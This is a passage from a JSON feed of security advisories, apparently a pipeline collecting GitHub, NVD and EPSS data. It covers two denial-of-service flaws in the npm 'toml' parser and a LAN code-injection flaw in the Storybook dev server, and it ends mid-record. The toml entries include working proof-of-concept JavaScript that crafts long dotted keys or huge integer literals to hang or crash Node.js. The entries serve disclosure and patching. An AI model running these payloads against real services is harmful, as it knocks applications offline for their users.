dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-4qx8-w7c3-pj3p, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114141","type":"primary","publishedAt":"2026-10-21T21:17:56.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114143","cveId":"CVE-2026-114143","aliases":["GHSA-9j65-hcg3-gc64"],"kind":"vulnerability","title":"toml-node: Quadratic-complexity DoS via long dotted keys or table paths in toml.parse()","summary":"`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via a single\nlong dotted key, table header, or inline-table key. A ~100KB crafted document causes a\nmulti-second synchronous hang; a ~200KB document crashes the Node.js process outright with an\nuncatchable out-of-memory error. This is a separate, unpatched code path from the previously\nfixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) — it requires no array/inline-table nesting at\nall, and is confirmed unaffected by the `maxDepth` option that fixed that earlier issue.\n\n- Package: `toml` (npm), repository `BinaryMuse/toml-node`\n- Functions: `assign()`, `deepRef()`, `setNestedKey()` in `lib/compiler.js`\n- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past\n the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.\n Not exhaustively verified against every prior release, but the affected functions are\n unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely\n predates that release as well.","detail":"## Summary\n\n`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via a single\nlong dotted key, table header, or inline-table key. A ~100KB crafted document causes a\nmulti-second synchronous hang; a ~200KB document crashes the Node.js process outright with an\nuncatchable out-of-memory error. This is a separate, unpatched code path from the previously\nfixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) — it requires no array/inline-table nesting at\nall, and is confirmed unaffected by the `maxDepth` option that fixed that earlier issue.\n\n## Affected component / version\n\n- Package: `toml` (npm), repository `BinaryMuse/toml-node`\n- Functions: `assign()`, `deepRef()`, `setNestedKey()` in `lib/compiler.js`\n- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past\n the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.\n Not exhaustively verified against every prior release, but the affected functions are\n unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely\n predates that release as well.\n\n## Details\n\n`toml.parse(input, options)` (`index.js:5-9`) forwards the caller-supplied string to\n`parser.parse()` and then `compiler.compile()` with no length or structural validation.\nInside `lib/compiler.js`, three separate functions each walk a dotted key's segments in a\n`for` loop and, on **every** iteration, recompute the full path-prefix string from scratch:\n\n- `assign()` (lines 69-107, the sink at line 81): `var intermediatePath =\n makeFullPath(keys.slice(0, i + 1));` — reached for top-level dotted-key assignments like\n `a.b.c = 1`.\n- `deepRef()` (lines 247-281, the sink at line 252): the identical pattern via\n `pathKey(keys.slice(0, i + 1))` — reached from table headers `[a.b.c]` and array-of-tables\n `[[a.b.c]]` via `setPath()`/`addTableArray()`.\n- `setNestedKey()` (lines 184-202, the sink at line 187): the identical pattern — reached from\n inline-table dotted keys like `t = { a.b.c = 1 }`.\n\n`keys.slice(0, i + 1)` allocates a new array of length `i`; `pathKey()`/`makeFullPath()`\n(lines 311-317) then does `.map(quoteDottedString).join(\".\")`, also O(i). Since this runs on\nevery one of the `n` segments of a dotted key, total work is `O(1 + 2 + ... + n) = O(n²)`, not\n`O(n)`. The string is computed unconditionally on the happy path (only ever *used* if an error\nis about to be thrown), so there is no early exit that makes this cheap in practice.\n\nNo limit exists anywhere on dotted-key segment count: `dot_ended_table_key_part+` and\n`inline_dot_key_part+` in `src/toml.pegjs` (lines 122, 311) are unbounded `+` repetitions,\nparsed iteratively rather than through the grammar's `value` rule — so the existing\n`MAX_DEPTH`/`maxDepth` nesting guard (`src/toml.pegjs:141-151`, enforced in the generated\n`lib/parser.js:1022`) does not apply to key length at all. We confirmed this directly: setting\n`options.maxDepth: 1` (the strictest possible value) against a 16,000-segment key produced no\nmeasurable timing difference from the unrestricted case.\n\n## Proof of Concept\n\n```js\nconst toml = require('toml');\n\n// n-segment dotted key: \"k0.k1.k2. ... .k{n-1} = 1\"\nfunction segKey(n) {\n const parts = [];\n for (let i = 0; i < n; i++) parts.push('k' + i);\n return parts.join('.') + ' = 1\\n';\n}\n\n// ~100.9 KB input -- takes ~6.6-6.8 seconds\ntoml.parse(segKey(16000));\n\n// ~200 KB input -- crashes the Node process:\n// \"FATAL ERROR: Ineffective mark-compacts near heap limit - JavaScript heap out of memory\"\ntoml.parse(segKey(32000));\n```\n\nMeasured timings (Node v22, direct execution against this repo):\n\n| n (segments) | input size | time |\n|---|---|---|\n| 1,000 | ~4.9 KB | 34 ms |\n| 8,000 | ~46.9 KB | 1.6 s |\n| 16,000 | ~100.9 KB | 6.8 s |\n| 32,000 | ~200 KB | **process crash (OOM)** |\n\nDoubling `n` from 8,000→16,000 roughly quadruples runtime (~4.2x), the signature of O(n²)\nrather than the expected O(n) (~2x). Independently reproduced with the identical scaling\nsignature for the table-header variant (`[k0. ... .k15999]`, exercising `deepRef()`) and the\ninline-table variant (`t = { k0. ... .k15999 = 1 }`, exercising `setNestedKey()`).\n\nWe also generalized this into a property-based fuzzing harness (fast-check, run under Node)\nthat automatically tests the \"doubling input size should not more than roughly double parse\ntime\" invariant across 12 structural dimensions of the grammar/compiler; it independently\nre-flags all three code paths above on every run, with no additional dimension confirmed\nvulnerable after follow-up investigation. The harness is available on request.\n\n## Impact\n\nNode.js is single-threaded — a synchronous multi-second-to-crashing `parse()` call blocks the\nentire event loop of the process calling it, stalling every other request/operation that\nprocess is handling, not just the attacker's own. At the upper end this is not merely a hang:\nan uncaught, process-terminating out-of-memory crash from a ~200KB attacker-supplied string is\na full denial of service requiring no authentication — just the ability to get one string\nparsed by an application using this library (config upload, API request body, imported\nmanifest, or any of this library's intended use cases).\n\n## Suggested remediation\n\nBuild the path prefix as an incrementally-extended string as the loop walks each segment\n(append one already-quoted segment per iteration to a running string) instead of re-slicing an\narray and re-joining the entire prefix from scratch on every iteration. For example, in\n`assign()`:\n\n```js\nfunction assign(node) {\n var keys = node.key;\n var value = node.value;\n var off = node.offset;\n if (!Array.isArray(keys)) keys = [keys];\n var reduced = reduceValueNode(value);\n\n var target = context;\n var pathStr = pathKey(currentPath); // computed once, not per segment\n for (var i = 0; i < keys.length - 1; i++) {\n var k = keys[i];\n var quotedK = quoteDottedString(k);\n var intermediatePath = pathStr ? pathStr + \".\" + quotedK :\n\nAffected package ranges reported by GitHub:\ntoml: <= 5.0.0","action":"GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:38:06.000Z","updatedAt":"2026-10-22T16:48:25.420Z","regions":["Global"],"vendor":null,"product":"toml","stacks":["JavaScript packages (npm)","toml","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114143","asOf":"2026-10-22T16:48:25.420Z"},"epss":{"probability":0.00365,"percentile":0.30107,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114143&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9j65-hcg3-gc64","url":"https://github.com/advisories/GHSA-9j65-hcg3-gc64","type":"primary","publishedAt":"2026-10-22T16:38:06.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9j65-hcg3-gc64, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114143","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114143","type":"primary","publishedAt":"2026-10-21T21:17:56.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114143&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114143, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114144","cveId":"CVE-2026-114144","aliases":["GHSA-9qmh-m7c6-f92p"],"kind":"vulnerability","title":"toml-node: Uncontrolled resource consumption (CPU DoS) via unbounded-length integer literals in toml.parse()","summary":"- `lib/parser.js:326` — hex: `BigInt('0x' + stripUnderscores(digits))`\n- `lib/parser.js:327` — octal: `BigInt('0o' + stripUnderscores(digits))`\n- `lib/parser.js:328` — binary: `BigInt('0b' + stripUnderscores(digits))`\n- `lib/parser.js:329` — decimal: `BigInt(stripUnderscores(text))`\n\nThe parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* — it does not bound the length of a single scalar token.","detail":"### Summary\n`toml.parse()` converts integer literals (hex, octal, binary, and decimal) to `BigInt` without first bounding the length of the digit sequence. Since `BigInt(string)` construction from a very long numeric string runs in super-linear time, a single small, well-formed TOML document containing one long integer literal can pin a Node.js process's event loop at 100% CPU for several seconds — a denial of service for any application that parses attacker-supplied or third-party TOML. No authentication or complex crafting is required.\n\n### Details\nIn `lib/parser.js`, the grammar actions that build integer nodes call `BigInt()` directly on the matched digit text, with no upper bound on its length:\n\n- `lib/parser.js:326` — hex: `BigInt('0x' + stripUnderscores(digits))`\n- `lib/parser.js:327` — octal: `BigInt('0o' + stripUnderscores(digits))`\n- `lib/parser.js:328` — binary: `BigInt('0b' + stripUnderscores(digits))`\n- `lib/parser.js:329` — decimal: `BigInt(stripUnderscores(text))`\n\nThe parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* — it does not bound the length of a single scalar token.\n\nThe subsequent 64-bit range check in `lib/compiler.js` (`reduceInteger`, lines 143–150, comparing against `INT64_MIN` / `INT64_MAX` defined at lines 3–4) happens **after** the expensive `BigInt()` conversion has already completed. It therefore provides no protection against this cost — the CPU time is already spent by the time the value is rejected as out of range.\n\n### PoC\n\n```js\nconst toml = require('toml');\n\nconst N = 5_000_000; // ~5 MB request body\nconst doc = 'x = 0x' + 'f'.repeat(N);\n\nconst start = Date.now();\ntry {\n toml.parse(doc); // eventually throws \"outside the 64-bit signed integer range\" —\n // but only after the costly conversion has run\n} catch (e) {}\n\nconsole.log('elapsed:', Date.now() - start, 'ms');\n```\n\n**Measured results:**\n\n| Digits (hex) | Approx. payload size | Parse time |\n|---:|---:|---:|\n| 200,000 | ~200 KB | 141 ms |\n| 400,000 | ~400 KB | 276 ms |\n| 800,000 | ~800 KB | 685 ms |\n| 1,600,000 | ~1.6 MB | 1,761 ms |\n| 5,000,000 | ~5 MB | 6,061 ms |\n\nGrowth is clearly super-linear. The same behavior reproduces for plain decimal literals (3,000,000 `'9'` digits → ~6.3 s).\n\n### Impact\nAny application that calls `toml.parse()` on untrusted or third-party input — config upload endpoints, CI/CD tools ingesting user-supplied `.toml` files, package managers, linters, editors/language servers — is exposed.\n\nDuring the conversion, the event loop is fully blocked. In a typical single-threaded Node.js server this stalls **all** concurrent request handling, not just the request containing the malicious payload. A single ~5 MB request is sufficient to cause several seconds of full CPU denial of service.\n\n**Suggested fix:** Reject digit sequences above a reasonable length *before* calling `BigInt()`, analogous to the existing `maxDepth` option. A 64-bit signed integer requires at most 20 decimal digits or 16 hex digits, so any digit sequence significantly longer than that is guaranteed to fail the existing range check anyway, and can be rejected with a cheap `.length` comparison instead of paying for the full `BigInt` conversion.\n\nAffected package ranges reported by GitHub:\ntoml: <= 5.0.0","action":"GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:36:50.000Z","updatedAt":"2026-10-22T16:48:25.420Z","regions":["Global"],"vendor":null,"product":"toml","stacks":["JavaScript packages (npm)","toml","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114144","asOf":"2026-10-22T16:48:25.420Z"},"epss":{"probability":0.0044,"percentile":0.3798,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9qmh-m7c6-f92p","url":"https://github.com/advisories/GHSA-9qmh-m7c6-f92p","type":"primary","publishedAt":"2026-10-22T16:36:50.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9qmh-m7c6-f92p, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114144","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114144","type":"primary","publishedAt":"2026-10-21T21:17:57.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114126","cveId":"CVE-2026-114126","aliases":["GHSA-px85-f4q5-jh77"],"kind":"vulnerability","title":"Storybook dev server vulnerable to code injection from the local network","summary":"**Summary:** The Storybook dev server exposes its WebSocket authentication token to any client that can load its HTML pages. Any host on a LAN can open a Storybook app by IP address, and therefore obtain the token. The WebSocket can be used to inject code into story files or to create new files. Under the right circumstances, an attacker can execute code on the machine of a developer connected on the same LAN.\n\nYou are impacted if you run a Storybook dev server whilst connected on an untrusted local network, or to a WiFi access point posing as a trusted network. The impact of this advisory is more important if you have the Vitest addon installed and are using an old version of Vitest.","detail":"**Summary:** The Storybook dev server exposes its WebSocket authentication token to any client that can load its HTML pages. Any host on a LAN can open a Storybook app by IP address, and therefore obtain the token. The WebSocket can be used to inject code into story files or to create new files. Under the right circumstances, an attacker can execute code on the machine of a developer connected on the same LAN.\n\n## Who is impacted?\n\nYou are impacted if you run a Storybook dev server whilst connected on an untrusted local network, or to a WiFi access point posing as a trusted network. The impact of this advisory is more important if you have the Vitest addon installed and are using an old version of Vitest.\n\nYou are not impacted if:\n\n- You run a dev server in an environment that other devices on your network cannot reach (e.g. a container that does not publish the Storybook port, or publishes it only on `127.0.0.1`)\n- You run a dev server whilst connected to a trusted local network\n- You serve a built version of Storybook on your machine\n\n## Recommended actions\n\n### Upgrade Storybook\n\nStorybook has released patched versions of all affected major Storybook versions that fix all the vulnerabilities necessary for the worst-case scenario above to occur. \n\nUpgrade to a patched version listed below before running `storybook dev` again. If you cannot upgrade immediately, do not run an affected Storybook dev server until you can apply the fix.\n\n- 11.0.0-alpha.6\n- 10.6.2\n- 9.1.21\n- 8.6.19\n\n### Review potentially breaking changes\n\nDue to the exceptional nature of the reported vulnerabilities, the Storybook team has decided to change the default behavior of Storybook, including versions 8 and 9, for several network-related features that are not essential to most Storybook users' workflow. If your team relies on the affected features, this document explains how to fall back to the previous behavior.\n\n#### Storybook now only listens on `127.0.0.1` by default\n\nBy default, the Storybook dev server no longer binds to all network interfaces on your machine. It only binds to the loopback address `127.0.0.1`. You can still open it at `http://localhost:6006`. This prevents other devices on the same network from seeing your Storybook server.\n\nTo share a Storybook with others, consider publishing it to Chromatic (free). To share it on a LAN without exposing the dev server, build a static Storybook with `storybook build` and serve the output folder with any static file server.\n\nTo share a live Storybook running in dev mode, you can use the `--host` CLI option to bind to the LAN IP you want to share Storybook on, e.g. `storybook dev --host 192.168.0.110`. Host and origin validation stays enabled with this option. If you use `--host 0.0.0.0` instead, also set `core.allowedHosts` to the hostnames you will use. Without it, host and origin validation is disabled, and Storybook shows a warning and asks you to confirm before it starts.\n\nConsider using a firewall to restrict incoming packets to known colleague IPs, and avoid using `--host` on an untrusted WiFi network.\n\n#### The Vitest addon now disables `browser.api.allowWrite` and `browser.api.allowExec`\n\nStorybook no longer allows code running in Vitest Browser mode to write to the developer’s machine or execute other processes. In the unlikely scenario that you rely on this capability in your tests, you can manually re-enable these APIs in your Vitest config.\n\n#### The `saveStoryRequest` event validates input more strictly\n\nStorybook strengthened input validation in `saveStoryRequest`, so addons and the Storybook UI can now only write serialized args and story titles. It is no longer possible to exploit input validation weaknesses to e.g. write `play` functions with a custom addon.\n\nIf you develop an addon that writes or edits files on users’ behalf, reach out to the Storybook team to get advice on security best practice.\n\n## Disclosure timeline\n\nOn August 19th, the Storybook team received a responsible disclosure showing that the WebSocket token can be stolen by an attacker sharing a LAN with a Storybook dev server.\n\nThe disclosure identified several actions an attacker can do. An attacker can bypass input validation to write a payload in a story file.\n\nThey can then trigger a test run via the WebSocket. If the Vitest addon is installed, the payload can exploit a Vitest API to write other files, with more exploit logic to the user’s filesystem.\n\nDepending on the exploit content, where the file is written, and what software the developer uses, that exploit could then be executed.\n\nAffected package ranges reported by GitHub:\nstorybook: >= 8.0.0, < 8.6.19\nstorybook: >= 9.0.0, < 9.1.21\nstorybook: >= 10.0.0, < 10.6.2\nstorybook: >= 11.0.0-alpha.0, < 11.0.0-alpha.6\n@storybook/core: >= 8.0.0, < 8.6.19\n@storybook/core-server: >= 8.0.0, < 8.6.19\n@storybook/experimental-addon-test: >= 8.0.0, < 8.6.19\n@storybook/addon-vitest: >= 9.0.0, < 9.1.21\n@storybook/addon-vitest: >= 10.0.0, < 10.6.2\n@storybook/addon-vitest: >= 11.0.0-alpha.0, < 11.0.0-alpha.6\n@storybook/addon-mcp: >= 10.6.0, < 10.6.2\n@storybook/addon-mcp: >= 11.0.0-alpha.0, < 11.0.0-alpha.6","action":"GitHub lists first patched versions: storybook: 8.6.19; storybook: 9.1.21; storybook: 10.6.2; storybook: 11.0.0-alpha.6; @storybook/core: 8.6.19; @storybook/core-server: 8.6.19; @storybook/experimental-addon-test: 8.6.19; @storybook/addon-vitest: 9.1.21; @storybook/addon-vitest: 10.6.2; @storybook/addon-vitest: 11.0.0-alpha.6; @storybook/addon-mcp: 10.6.2; @storybook/addon-mcp: 11.0.0-alpha.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:31:40.000Z","updatedAt":"2026-10-22T17:21:57.293Z","regions":["Global"],"vendor":null,"product":"storybook, storybook, storybook, storybook, @storybook/core, @storybook/core-server, @storybook/experimental-addon-test, @storybook/addon-vitest, @storybook/addon-vitest, @storybook/addon-vitest, @storybook/addon-mcp, @storybook/addon-mcp","stacks":["JavaScript packages 